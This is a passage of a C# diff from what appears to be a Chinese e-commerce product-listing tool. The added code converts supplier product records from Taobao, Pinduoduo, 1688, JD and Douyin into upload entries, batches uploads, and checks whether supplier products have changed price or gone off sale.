fissionTemp.from_shop_name; + Fiss.qualifications = fissionTemp.qualifications; + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + if (string.IsNullOrEmpty(Fiss.fession_title)) + return; + if (Fiss.source == "laiyuan") + { + if (Fiss.main_pic.Contains("pddpic") || Fiss.prop_pic.Contains("pddpic") || Fiss.container_info.Contains("pddpic")) + { + Fiss.source = "拼多多"; + } + } + ProductCollectBase pcb = FissionData2Pcb(Fiss, Fiss.fession_title); + + // 校验总店商品是否发生变化 + string msg = ""; + var pcb_new = CheckProductStatus(pcb, out msg); + if (msg == "商品已下架") + { + BaseMsgForm.ShowInfo("总店商品已下架 !"); + return; + } + if (pcb_new != pcb && BaseMsgForm.ShowConfirm("原商品发生变化,点击 确定 打开变化后的商品,点击 取消 编辑原数据库商品").DialogResult == DialogResult.OK) + { + string createHtmlPath = Fission.creatFissionPage(pcb_new); + Fission fs = new Fission(createHtmlPath, pcb.from_url, null, pcb, Fiss.category, Fiss.full_category_name, Fiss.fession_title); + fs.Show(); + } + else + { + string createHtmlPath = Fission.creatFissionPage(pcb); + Fission fs = new Fission(createHtmlPath, pcb.from_url, new List() { Fiss }, pcb, Fiss.category, Fiss.full_category_name, Fiss.fession_title); + fs.Show(); + } + } + } + } + + private static string GetFromUrl(string source, string OrgId) + { + string url = ""; + if (source == "1688" || source == "阿里巴巴") + { + url = "https://detail.1688.com/offer/" + OrgId + ".html"; + } + else if (source == "拼多多") + { + url = "https://yangkeduo.com/goods2.html?goods_id=" + OrgId; + } + else if (source == "京喜" || source == "京东") + { + url = "https://item.jd.com/" + OrgId + ".html"; + } + else if (source == "抖音") + { + url = "https://haohuo.jinritemai.com/views/product/detail?id=" + OrgId; + } + else + { + url = "https://item.taobao.com/item.htm?id=" + OrgId; + } + return url; + } + + private void btnAddFissToUpload_Click(object sender, EventArgs e) + { + var fissionIdList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()) + .Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + if (fissionIdList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要上传的数据", "提示"); + return; + } + btnAddFissToUpload.Enabled = false; + progressBarX1.Visible = true; + progressBarX1.Maximum = fissionIdList.Count; + progressBarX1.Value = 0; + pbLoading.Visible = true; + Task.Run(() => + { + UploadFessionData(fissionIdList); + }); + } + + /// + /// 添加到上货 isTryUpload 是否试水上货 + /// + /// + public void UploadFessionData(List selectFissionIdList) + { + DateTime startTime = DateTime.Now; + + // 重置操作信息状态 + for (int i = 0; i < selectFissionIdList.Count; i++) + { + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == selectFissionIdList[i].ToString()) + row.Cells["colMessage"].Value = ""; + } + } + + string fissionDataBaseIds = ""; + List pcbList = new List(); + for (int i = 0; i < selectFissionIdList.Count; i++) + { + var FissId = selectFissionIdList[i].ParseToInt(); + var Fiss = LstFission.Find(f => f != null && f.id == FissId); + if (Fiss != null) + { + fissionDataBaseIds += FissId + ";"; + string dataSource = Fiss.source == null ? "" : Fiss.source; + string OriginalId = Fiss.fession_id; + if (string.IsNullOrEmpty(Fiss.main_pic)) + { + try + { + //var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(FissId); + //Fiss.fession_title = fissionTemp.fession_title; + //Fiss.container_info = fissionTemp.container_info?.Replace("'>", "'>"); + //Fiss.main_pic = fissionTemp.main_pic; + //Fiss.prop_pic = fissionTemp.prop_pic; + //Fiss.props = fissionTemp.props; + //Fiss.mainWord = fissionTemp.mainWord; + //Fiss.viceword = fissionTemp.viceword; + //Fiss.prop = fissionTemp.prop; + //Fiss.skus = fissionTemp.skus; + //Fiss.from_shop_name = fissionTemp.from_shop_name; + //Fiss.qualifications = fissionTemp.qualifications; + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + } + + var result = ""; + var fission_title = Fiss?.fession_title?.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries)?[0]; + ProductCollectBase pcb = FissionData2Pcb(Fiss, fission_title); + if (pcb != null) + { + pcbList.Add(pcb); + } + else + { + result = "添加失败"; + } + + // 更新DataGridView // isTitleNumLimited 是否限定每个裂变商品的上传个数 + UpdateUseCount(FissId); + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == FissId.ToString()) + { + row.Cells["colMessage"].Value = result; + break; + } + } + + if (pcbList.Count >= 50) + { + // 添加到上传数据库 + UploadProductForm.ImportFromFission(pcbList); + pcbList.Clear(); + // 记录使用次数 + SetUseCount(fissionDataBaseIds); + fissionDataBaseIds = ""; + } + } + Invoke(new Action(() => + { + progressBarX1.Value = i; + })); + } + + // 添加到上传数据库 + UploadProductForm.ImportFromFission(pcbList); + pcbList.Clear(); + // 记录使用次数 + SetUseCount(fissionDataBaseIds); + fissionDataBaseIds = ""; + + Invoke(new Action(() => + { + progressBarX1.Value = progressBarX1.Maximum; + this.btnAddFissToUpload.Enabled = true; + var ts = DateTime.Now - startTime; + var min = (int)Math.Floor(ts.TotalMinutes); + var sec = (int)Math.Floor(ts.TotalSeconds) % 60; + BaseMsgForm.ShowInfo("添加完成,累计耗时:" + min + "分" + sec + "秒", "提示"); + pbLoading.Visible = false; + progressBarX1.Visible = false; + })); + } + + /// + /// 设置使用次数信息更新 + /// + public void SetUseCount(string fessDbIds) + { + try + { + string getRequestData = UserLogin.GetSignaturex() + "&act=set&id=" + fessDbIds; + string getUrl = BaseClass.BuildFissionObjString("fession_api"); + string Result = GetHtml.PostUtf8(getUrl, getRequestData); + } + catch (Exception ex) + { + LogSave.Add("SetUseCount发生异常:" + ex.Message); + } + } + + /// + /// 更新使用次数 + /// + /// + public void UpdateUseCount(int FessId, int useCount = 1) + { + for (int i = 0; i < dgvFissionProduct.Rows.Count; i++) + { + var id = dgvFissionProduct.Rows[i].Cells["ColId"].Value.ToString(); + if (id != FessId.ToString()) + continue; + + int sUserCount = Convert.ToInt32(dgvFissionProduct.Rows[i].Cells["ColUseCount"].Value.ToString()); + dgvFissionProduct.Rows[i].Cells["ColUseCount"].Value = sUserCount + useCount; + var Fess = LstFission.Find(f => f != null && f.id == FessId); + Fess.times += useCount; + break; + } + } + + FissionDataModel Fiss2FissionDataModel(FissionData fissData) + { + if (fissData == null) + return null; + + FissionDataModel fdm = new FissionDataModel() + { + addPricePercent = fissData.add_pricepercent.ParseToDecimal(), + adjustPrice = fissData.is_changeprice.ParseToInt(), + baseAddPrice = fissData.base_addprice.ParseToInt(), + cat2_name = fissData.cat2_name, + cat3_name = fissData.cat3_name, + cate_id = fissData.cate_id.ParseToInt(), + //content_pic = fissData.container_info.Split(';').ToList(), + discount = fissData.discount, + fessionCount = fissData.fession_count, + fessionTitle = fissData.fession_title.Split(new string[] { ";", "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(), + fession_id = fissData.fession_id, + from_shop_name = fissData.from_shop_name, + fullCategoryName = fissData.full_category_name, + id = fissData.fession_id, + mainCategory = fissData.main_cate, + mainWord = fissData.mainWord, + main_cate_id = fissData.main_cateid.ParseToInt(), + main_pic = fissData.main_pic.Split(';').ToList(), + postFree = fissData.postFree, + price = fissData.price, + prop = fissData.prop, + props = fissData.props, + prop_pic = fissData.prop_pic.Split(';').ToList(), + qualifications = fissData.qualifications, + sales = fissData.sales, + secondCategory = fissData.second_cate, + skus = fissData.skus, + source = fissData.source, + teamGroup = fissData.category, + title = fissData.title, + viceWord = fissData.viceword, + }; + + fdm.content_pic = new List(); + var container_infos = fissData.container_info?.Replace("'>", "'>"); + var containerGroupList = container_infos.Split(new string[] { "
    " }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < containerGroupList.Length; i++) + { + var container_info = containerGroupList[i]; + var content_imgs = BaseRegex.GetMatchRegex(ref container_info, ""); + if (content_imgs != null) + { + List content = new List(); + foreach (Match m in content_imgs) + { + var src = m.Groups[1]?.ToString(); + if (src != null) + content.Add(src); + } + // 添加分组间隔 + if (content.Count > 0 && i > 0) + fdm.content_pic.Add("new_group"); + fdm.content_pic.AddRange(content); + } + } + + return fdm; + } + + public FissionData FissDataModel2Fission(FissionDataModel fissionDataModel) + { + if (fissionDataModel == null) + return null; + + if (fissionDataModel.prop_pic == null) + fissionDataModel.prop_pic = new List(); + fissionDataModel.prop_pic?.Clear(); + var props = JsonHelper.DeserializeJsonToObject>(fissionDataModel.props); + foreach (var prop in props) + { + foreach (var value in prop.Values) + { + if (!string.IsNullOrEmpty(value.image)) + { + var strImg = value.image; + if (!strImg.StartsWith("http")) + strImg = "http:" + strImg; + fissionDataModel.prop_pic.Add(strImg); + } + } + } + + FissionData fd = new FissionData() + { + add_pricepercent = fissionDataModel.addPricePercent.ParseToInt(), + is_changeprice = fissionDataModel.adjustPrice.ToString(), + base_addprice = fissionDataModel.baseAddPrice.ParseToInt(), + cat2_name = fissionDataModel.cat2_name, + cat3_name = fissionDataModel.cat3_name, + cate_id = fissionDataModel.cate_id.ParseToString(), + //content_pic = fissData.container_info.Split(';').ToList(), + discount = fissionDataModel.discount, + fession_count = fissionDataModel.fessionCount, + fession_title = string.Join(";", fissionDataModel.fessionTitle), + fession_id = fissionDataModel.fession_id, + from_shop_name = fissionDataModel.from_shop_name, + full_category_name = fissionDataModel.fullCategoryName, + id = fissionDataModel.id.ParseToInt(), + main_cate = fissionDataModel.mainCategory, + mainWord = fissionDataModel.mainWord, + main_cateid = fissionDataModel.main_cate_id.ToString(), + main_pic = string.Join(";", fissionDataModel.main_pic), + postFree = fissionDataModel.postFree, + price = fissionDataModel.price, + prop = fissionDataModel.prop, + props = fissionDataModel.props, + prop_pic = string.Join(";", fissionDataModel.prop_pic), + qualifications = fissionDataModel.qualifications, + sales = fissionDataModel.sales, + second_cate = fissionDataModel.secondCategory, + skus = fissionDataModel.skus, + source = fissionDataModel.source, + category = fissionDataModel.teamGroup, + title = fissionDataModel.title, + viceword = fissionDataModel.viceWord, + }; + + fd.container_info = ""; + foreach (var picUrl in fissionDataModel.content_pic) + { + if (picUrl == "new_group") + fd.container_info += "
    "; + else + fd.container_info += ""; + } + + return fd; + } + + public static ProductCollectBase FissionData2Pcb(FissionData fissData, string title) + { + // 是否调节价格 对应字段:ProductCollectBase.is_changeprice + // 加价倍数 对应字段:ProductCollectBase.addPricePe rcent + // 基础加价 对应字段:ProductCollectBase.baseAddPrice + // 拼团折扣 对应字段:ProductCollectBase.discount + + if (fissData == null) + return null; + + ProductCollectBase pcb = new ProductCollectBase(); + + pcb.fissionDataBaseId = fissData.id; + // 是否是进化数据商品 + pcb.isFission = true; + // 商品id + pcb.from_id = fissData.fession_id.ParseToLong(); + // 销量 + pcb.saleCount = fissData.sales.ParseToInt(); + // 价格 + pcb.price = fissData.price.ParseToDecimal(); + // 原标题:不用修改 + pcb.from_title = pcb.from_name = fissData.title; + // 裂变标题 + pcb.fission_names = fissData.fession_title?.Split(new string[] { "\r", "\n", ";" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + // 修改后的标题 + pcb.name = pcb.fission_names != null && pcb.fission_names.Count > 0 ? pcb.fission_names[0] : fissData.title; + // 来源 + pcb.from = fissData.source; + // 来源地址 + pcb.from_url = GetFromUrl(fissData.source, fissData.fession_id); + // 邮费金额 + pcb.express_price = fissData.postFree == null ? 0 : fissData.postFree.ParseToDecimal(); + // 主图 + pcb.Images = string.IsNullOrEmpty(fissData.main_pic) ? new List() : fissData.main_pic.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + // 详情图 + pcb.content = fissData.container_info?.Replace("'>", "'>"); + // 子分类id + pcb.cat_id = fissData.cate_id.ParseToInt(); + // 主分类id + pcb.main_cid = fissData.main_cateid.ParseToInt(); + // 主分类名称 + pcb.main_cat_name = fissData.main_cate; + // 是否调节价格 + pcb.is_changeprice = fissData.is_changeprice == "1" ? "True" : "False"; + // 加价比例 + pcb.addPricePercent = fissData.add_pricepercent.ParseToDecimal(); + // 基础加价 + pcb.baseAddPrice = fissData.base_addprice.ParseToDecimal(); + // 折扣比例 + pcb.discount = fissData.discount; + // 商品属性 + try + { + pcb.Prop = JsonHelper.DeserializeJsonToList(fissData.prop); + } + catch + { + } + // sku属性列表 + try + { + pcb.Props = JsonHelper.DeserializeJsonToList(fissData.props); + } + catch + { + } + // 来源店铺名称 + pcb.from_shop_name = fissData.from_shop_name; + // sku列表 + try + { + pcb.SkuMaps = JsonHelper.DeserializeJsonToList(fissData.skus); + } + catch + { + } + // 资质文件列表 + try + { + pcb.qualifications = JsonHelper.DeserializeJsonToList(fissData.qualifications); + } + catch + { + } + + if (pcb.from == "淘宝") pcb.from_site_id = 1; + else if (pcb.from == "拼多多") pcb.from_site_id = 2; + else if (pcb.from == "阿里巴巴" || pcb.from == "1688") pcb.from_site_id = 3; + else if (pcb.from == "京喜") pcb.from_site_id = 4; + else if (pcb.from == "微店") pcb.from_site_id = 6; + else if (pcb.from == "抖音") pcb.from_site_id = 7; + + return pcb; + } + + private void btnClearParams_Click(object sender, EventArgs e) + { + this.txtPriceMin.Text = "0"; + this.txtPriceMax.Text = "99999"; + this.txtSaleAmountMin.Text = "0"; + this.txtSaleAmountMax.Text = "99999"; + this.txtMinTimes.Text = "0"; + this.txtMaxTimes.Text = "99999"; + this.txtFisssionTitle.Text = ""; + this.dtBaginTime.Text = ""; + this.dtEndTime.Text = ""; + this.cmbSource.SelectedIndex = 0; + if (cmbCat1.Items.Count > 0) + cmbCat1.SelectedIndex = 0; + if (cmbShopCat1.Items.Count > 0) + cmbShopCat1.SelectedIndex = 0; + if (cmbGroup.Items.Count > 0) + this.cmbGroup.SelectedIndex = 0; + if (cmbCheckResult.Items.Count > 0) + cmbCheckResult.SelectedIndex = 0; + } + + private void btnClearList_Click(object sender, EventArgs e) + { + DialogResult result = BaseMsgForm.ShowConfirm("确认清空当前搜索结果吗?", "提示").DialogResult; + if (result == DialogResult.OK) + { + IsStop = true; + this.dgvFissionProduct.Rows.Clear(); + LstFission.Clear(); + } + } + + private void btnDeleteSelect_Click(object sender, EventArgs e) + { + if (ClickType == 1) + { + BaseMsgForm.ShowInfo("产品回收站的数据无法删除!"); + return; + } + var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()).ToList(); + var fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + if (fissionIdList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要删除的数据", "提示"); + return; + } + //if (BaseMsgForm.ShowConfirm("是否确认删除勾选数据?\r\n注:如果上货列表中有此数据将会一并删除。").DialogResult.Equals(DialogResult.Cancel)) return; + if (BaseMsgForm.ShowConfirm("是否确认删除勾选数据?").DialogResult.Equals(DialogResult.Cancel)) return; + + // 根据上家标题,原始Id删除数据库数据 + string strTemp = ""; + foreach (var id in fissionIdList) + { + strTemp += id + ","; + } + new FissionDataBaseBLL().DelFessionData(strTemp); + + foreach (var row in fissionRowList) + { + string OrgId = row.Cells["OriginalId"].Value.ToString(); // 原商品ID + //// 删除listFissionPcb + //UploadProductForm.lstFissionPcb.RemoveAll(x => x != null && x.from_id == OrgId.ParseToLong()); + //// 删除上货列表备用商品 + //UploadProductBLL.ProductStock.RemoveAll(x => x.FromId == OrgId.ParseToLong()); + //// 删除本地数据库备用商品 + //UploadProductBLL.Delete(OrgId); + //// 刷新上传界面的上传队列数量 + //UploadProductForm.instance?.remain(); + } + // 删除行 + foreach (var row in fissionRowList) + { + dgvFissionProduct.Rows.Remove(row); + } + } + + private void btnToUpload_Click(object sender, EventArgs e) + { + if (UploadForm.instance != null) + UploadForm.instance.SetTvSelect("商品发布"); + } + + private void pnlDelCate_Click(object sender, EventArgs e) + { + string groupName = cmbGroup.SelectedItem.ToString(); + if (groupName == "不限") + { + BaseMsgForm.ShowInfo("不能删除不限!"); + return; + } + + if (BaseMsgForm.ShowConfirm("确定要删除选中的裂变分组和数据吗?", "提示").DialogResult == DialogResult.OK) + { + // 删除分组 + string requestData = UserLogin.GetSignaturex() + "&act=delete_category&category=" + + GetHtml.UrlEncodeUtf8(groupName); + string url = BaseClass.BuildFissionObjString("fession_api"); + string result = GetHtml.PostUtf8(url, requestData); + if (result != "ok") + { + LogSave.Add("删除组失败", "group name: " + groupName + " result: " + result); + } + else + { + BaseMsgForm.ShowInfo("删除组成功"); + var groupList = new FissionDataBaseBLL().GetCategoryGroup(); + cmbGroup.DataSource = groupList; + cmbGroup.SelectedIndex = 0; + var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColCategory"].Value.ParseToString() == groupName); + // 删除行 + foreach (var row in fissionRowList) + { + dgvFissionProduct.Rows.Remove(row); + } + } + } + } + + private void lblPrev_Click(object sender, EventArgs e) + { + if (txtCurrentPage.Text.ParseToInt() > 1) + txtCurrentPage.Text = (txtCurrentPage.Text.ParseToInt() - 1).ToString(); + SearchFission(); + } + + private void lblNext_Click(object sender, EventArgs e) + { + if (txtCurrentPage.Text.ParseToInt() < lblTotalPage.Text.ParseToInt()) + txtCurrentPage.Text = (txtCurrentPage.Text.ParseToInt() + 1).ToString(); + SearchFission(); + } + + private void cmbCat1_SelectedIndexChanged(object sender, EventArgs e) + { + + } + + public bool isCheckRun = false; + private void btnCheckUpProduct_Click(object sender, EventArgs e) + { + this.btnCheckUpProduct.Enabled = false; + Task.Run(() => + { + Thread.Sleep(3000); + Invoke(new Action(() => + { + this.btnCheckUpProduct.Enabled = true; + })); + }); + + if (this.btnCheckUpProduct.Text == "停止校验") + { + isCheckRun = false; + return; + } + + var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()).ToList(); + var fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + if (fissionIdList.Count == 0) + { + this.btnCheckUpProduct.Enabled = true; + BaseMsgForm.ShowInfo("请选择要校验的数据", "提示"); + return; + } + + this.isCheckRun = true; + this.btnCheckUpProduct.Text = "停止校验"; + + IsAutoTurnPage = chkAutoTurnPage.Checked && fissionIdList.Count == this.dgvFissionProduct.RowCount; + Task.Run(() => + { + autoTurnPage: + foreach (var Id in fissionIdList) + { + if (!isCheckRun) + break; + + Thread.Sleep(50); + var Fiss = this.LstFission.FirstOrDefault(f => f.id.ToString() == Id); + if (Fiss == null) + continue; + try + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(Id.ParseToInt()); + Fiss.fession_title = fissionTemp.fession_title; + while (fissionTemp.container_info != null && fissionTemp.container_info.Contains("'>", "'>"); + } + Fiss.container_info = fissionTemp.container_info; + Fiss.main_pic = fissionTemp.main_pic; + Fiss.prop_pic = fissionTemp.prop_pic; + Fiss.props = fissionTemp.props; + Fiss.mainWord = fissionTemp.mainWord; + Fiss.viceword = fissionTemp.viceword; + Fiss.prop = fissionTemp.prop; + Fiss.skus = fissionTemp.skus; + Fiss.from_shop_name = fissionTemp.from_shop_name; + Fiss.qualifications = fissionTemp.qualifications; + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + + if (string.IsNullOrEmpty(Fiss.fession_title)) + continue; + + if (Fiss.update_time.ParseToDateTime() > DateTime.Now.Date.AddDays(-7)) + { + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == Fiss.id.ToString()) + { + Invoke(new Action(() => + { + row.Cells["colMessage"].Value = "近期已校验"; + })); + break; + } + } + continue; + } + + ProductCollectBase pcb = FissionData2Pcb(Fiss, Fiss.fession_title); + + // 校验总店商品是否发生变化或下架 + string msg = ""; + var pcb_new = CheckProductStatus(pcb, out msg); + if (msg == "商品已下架") + { + FissionDataModel fdm = Fiss2FissionDataModel(Fiss); + fdm.update_check_passed = 9; + if (!IsDeleteUpDown) + { + string result = new FissionBrowserObject().updateFessionDate(JsonHelper.SerializeObject(fdm)); + } + + var FissId = Fiss.id.ToString(); + DataGridViewRow dgvRow = null; + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == FissId) + { + dgvRow = row; + Invoke(new Action(() => + { + dgvRow.Cells["colMessage"].Value = "总店商品已下架,请删除"; + row.Cells["ColNeedUpdate"].Value = fdm.update_check_passed == 9 ? "上家下架" : ""; // 校验更新 + })); + break; + } + } + + if (IsDeleteUpDown) + { + new FissionDataBaseBLL().DelFessionData(Id); + + if (dgvRow != null) + this.dgvFissionProduct.Rows.Remove(dgvRow); + this.LstFission.Remove(Fiss); + } + } + else if (pcb_new != pcb || msg == "商品价格发生变化") + { + if ((pcb_new != pcb && IsUpdateUpChange) || msg == "商品价格发生变化") + { + Fiss.price = pcb_new.price.ToString(); + Fiss.skus = JsonHelper.SerializeObject(pcb_new.SkuMaps); + Fiss.prop = JsonHelper.SerializeObject(pcb_new.Prop); + Fiss.props = JsonHelper.SerializeObject(pcb_new.Props); + Fiss.main_pic = string.Join(";", pcb_new.Images); + Fiss.prop_pic = ""; + foreach (var p in pcb_new.Props) + { + foreach (var pv in p.Values) + { + if (!string.IsNullOrEmpty(pv.image)) + Fiss.prop_pic += pv.image + ";"; + } + } + Fiss.prop_pic = Fiss.prop_pic.TrimEnd(';'); + + FissionDataModel fdm = Fiss2FissionDataModel(Fiss); + fdm.update_check_passed = 1; + string result = new FissionBrowserObject().updateFessionDate(JsonHelper.SerializeObject(fdm)); + if (result == null) + result = ""; + result = JsonHelper.SerializeObject(JObject.Parse(result)); + string updateMsg = BaseRegex.GetStringJson(ref result, "msg"); + + if (result.Contains("\"code\":0")) + { + updateMsg = "总店商品规格变化更新成功"; + if (msg == "商品价格发生变化") + updateMsg = "总店商品价格变化更新成功"; + } + else + { + updateMsg = "总店商品规格变化更新失败"; + if (msg == "商品价格发生变化") + updateMsg = "总店商品价格变化更新失败"; + } + + var FissId = Fiss.id.ToString(); + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == FissId) + { + Invoke(new Action(() => + { + row.Cells["colMessage"].Value = updateMsg; + row.Cells["ColNeedUpdate"].Value = fdm.update_check_passed == 1 ? "" : "请更新商品"; // 校验更新 + })); + break; + } + } + } + else + { + FissionDataModel fdm = Fiss2FissionDataModel(Fiss); + fdm.update_check_passed = 0; + string result = new FissionBrowserObject().updateFessionDate(JsonHelper.SerializeObject(fdm)); + + var FissId = Fiss.id.ToString(); + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == FissId) + { + Invoke(new Action(() => + { + row.Cells["colMessage"].Value = "总店商品规格变化,请更新"; + row.Cells["ColNeedUpdate"].Value = fdm.update_check_passed == 1 ? "" : "请更新商品"; // 校验更新 + })); + break; + } + } + } + } + else + { + FissionDataModel fdm = Fiss2FissionDataModel(Fiss); + string result = new FissionBrowserObject().updateFessionDate(JsonHelper.SerializeObject(fdm)); + + var FissId = Fiss.id.ToString(); + foreach (DataGridViewRow row in this.dgvFissionProduct.Rows) + { + if (row.Cells["ColId"].Value.ToString() == FissId) + { + Invoke(new Action(() => + { + row.Cells["colMessage"].Value = msg == "商品采集失败" ? msg : "商品无需更新"; + row.Cells["ColNeedUpdate"].Value = ""; // 校验更新 + })); + break; + } + } + } + } + if (IsAutoTurnPage && isCheckRun && lblCurrentPage.Text.ParseToInt() < lblTotalPage.Text.ParseToInt()) + { + IsTurnPage = true; + Invoke(new Action(() => + { + lblNext_Click(null, null); + chkAll.Checked = true; + fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()).ToList(); + fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + })); + Thread.Sleep(1000); + goto autoTurnPage; + } + Invoke(new Action(() => + { + this.btnCheckUpProduct.Text = "校验勾选"; + })); + }); + } + + /// + /// 获取上家商品最新详情与当前数据库商品(pcb_old)校验是否有更新 + /// + /// + /// + /// + private ProductCollectBase CheckProductStatus(ProductCollectBase pcb_old, out string msg) + { + msg = ""; + bool isPriceChange = false; + bool isProductChange = false; + + ProductCollectBase pcb_new = GetNewPcb(pcb_old, out msg); + + if (msg == "商品已下架") + return pcb_old; + + if (string.IsNullOrEmpty(pcb_new.image) && (pcb_new.Images == null || pcb_new.Images.Count == 0 || string.IsNullOrEmpty(pcb_new.Images[0]))) + { + msg = "商品采集失败"; + return pcb_old; + } + + if (string.IsNullOrEmpty(pcb_old.image) && (pcb_old.Images == null || pcb_old.Images.Count == 0 || string.IsNullOrEmpty(pcb_old.Images[0]))) + { + isProductChange = true; + return pcb_new; + } + + if (pcb_old.price != pcb_new.price) + { + msg = "商品价格发生变化"; + isPriceChange = true; + pcb_old.price = pcb_new.price; + } + + foreach (var sku in pcb_old.SkuMaps) + { + var sku_new = pcb_new.SkuMaps.FirstOrDefault(s => s.name == sku.name); + if (sku_new != null) + { + if (sku_new.price != sku.price) + { + msg = "商品价格发生变化"; + isPriceChange = true; + sku.price = sku_new.price; + } + continue; + } + else + { + isProductChange = true; + return pcb_new; + } + } + + return pcb_old; + } + + public ProductCollectBase GetNewPcb(ProductCollectBase pcb_old, out string msg) + { + msg = ""; + + ProductCollectBase pcb_new = new ProductCollectBase(); + pcb_new.from_id = pcb_old.from_id; + pcb_new.from_url = GetFromUrl(pcb_old.from, pcb_new.from_id.ToString()); + + if (pcb_old.from == "抖音") + { + CollectDoyin cd = new CollectDoyin(pcb_new); + cd.GetProduct(); + cd.Product.from = "抖音"; + cd.Product.from_url = GetFromUrl("抖音", pcb_new.from_id.ToString()); + pcb_new = cd.Product; + + if (!cd.Product.IsOnSale) + msg = "商品已下架"; + } + else if (pcb_old.from == "拼多多") + { + TaobaoProductBase tp = new TaobaoProductBase(); + tp.FromId = pcb_old.from_id; + tp.FromType = "拼多多"; + tp.GoodsId = tp.FromId; + + PinduoduoProductCollect pdd = new PinduoduoProductCollect(Name, tp); + pdd.Get(); + pdd.pb.from = "拼多多"; + pdd.pb.from_url = "http://mobile.yangkeduo.com/goods.html?goods_id=" + tp.GoodsId; + pcb_new = pdd.pb; + + if (!pdd.OnSale) + msg = "商品已下架"; + } + else if (pcb_old.from == "阿里巴巴" || pcb_old.from == "1688") + { + AlibabaProductGet alibbProInfo = new AlibabaProductGet(pcb_new); + alibbProInfo.Get(); + alibbProInfo.Product.from = "阿里巴巴"; + alibbProInfo.Product.from_url = pcb_new.from_url; + pcb_new = alibbProInfo.Product; + + if (!alibbProInfo.OnSale) + msg = "商品已下架"; + } + else if (pcb_old.from == "京喜" || pcb_old.from == "京东") + { + JingXiCollect tm = new JingXiCollect(pcb_new); + tm.Get(); + tm.Product.from = "京喜"; + tm.Product.from_url = pcb_new.from_url; + pcb_new = tm.Product; + + if (!tm.IsOnSale) + msg = "商品已下架"; + } + else + { + TaobaoMobileCollect goodsInfo = new TaobaoMobileCollect(pcb_new); + goodsInfo.Get(); + goodsInfo.Product.from = pcb_old.from; + goodsInfo.Product.from_url = pcb_new.from_url; + pcb_new = goodsInfo.Product; + + if (goodsInfo.IsDown) + msg = "商品已下架"; + } + + pcb_new.message_alert = msg; + + return pcb_new; + } + + private void chkDeleteUpDown_CheckedChanged(object sender, EventArgs e) + { + IsDeleteUpDown = chkDeleteUpDown.Checked; + } + + private void chkUpdateUpChange_CheckedChanged(object sender, EventArgs e) + { + IsUpdateUpChange = chkUpdateUpChange.Checked; + } + + private void btnEditCheckUpdate_Click(object sender, EventArgs e) + { + var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColNeedUpdate"].Value.ToString() == "请更新商品").ToList(); + var fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + if (fissionIdList.Count == 0) + { + BaseMsgForm.ShowInfo("没有需要更新的商品", "提示"); + return; + } + + //var fissionRowList = this.dgvFissionProduct.Rows.Cast().Where(r => r.Cells["ColSelect"].Value.ParseToBool()).ToList(); + //var fissionIdList = fissionRowList.Select(r => r.Cells["ColId"].Value.ToString()).ToList(); + //if (fissionIdList.Count == 0) + //{ + // BaseMsgForm.ShowInfo("请选择要编辑的数据", "提示"); + // return; + //} + var Fissions = LstFission.Where(f => fissionIdList.Contains(f.id.ToString())).ToList(); + if (Fissions.Count > 0) + { + var Fiss = Fissions[0]; + try + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(Fiss.id.ParseToInt()); + Fiss.fession_title = fissionTemp.fession_title; + Fiss.container_info = fissionTemp.container_info?.Replace("'>", "'>"); + Fiss.main_pic = fissionTemp.main_pic; + Fiss.prop_pic = fissionTemp.prop_pic; + Fiss.props = fissionTemp.props; + Fiss.mainWord = fissionTemp.mainWord; + Fiss.viceword = fissionTemp.viceword; + Fiss.prop = fissionTemp.prop; + Fiss.skus = fissionTemp.skus; + Fiss.from_shop_name = fissionTemp.from_shop_name; + Fiss.qualifications = fissionTemp.qualifications; + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + if (string.IsNullOrEmpty(Fiss.fession_title)) + return; + if (Fiss.source == "laiyuan") + { + if (Fiss.main_pic.Contains("pddpic") || Fiss.prop_pic.Contains("pddpic") || Fiss.container_info.Contains("pddpic")) + { + Fiss.source = "拼多多"; + } + } + ProductCollectBase pcb = FissionData2Pcb(Fiss, Fiss.fession_title); + + // 校验总店商品是否发生变化 + string msg = ""; + var pcb_new = CheckProductStatus(pcb, out msg); + if (msg == "商品已下架") + { + BaseMsgForm.ShowInfo("总店商品已下架 !"); + //return; + } + + string createHtmlPath = Fission.creatFissionPage(pcb_new); 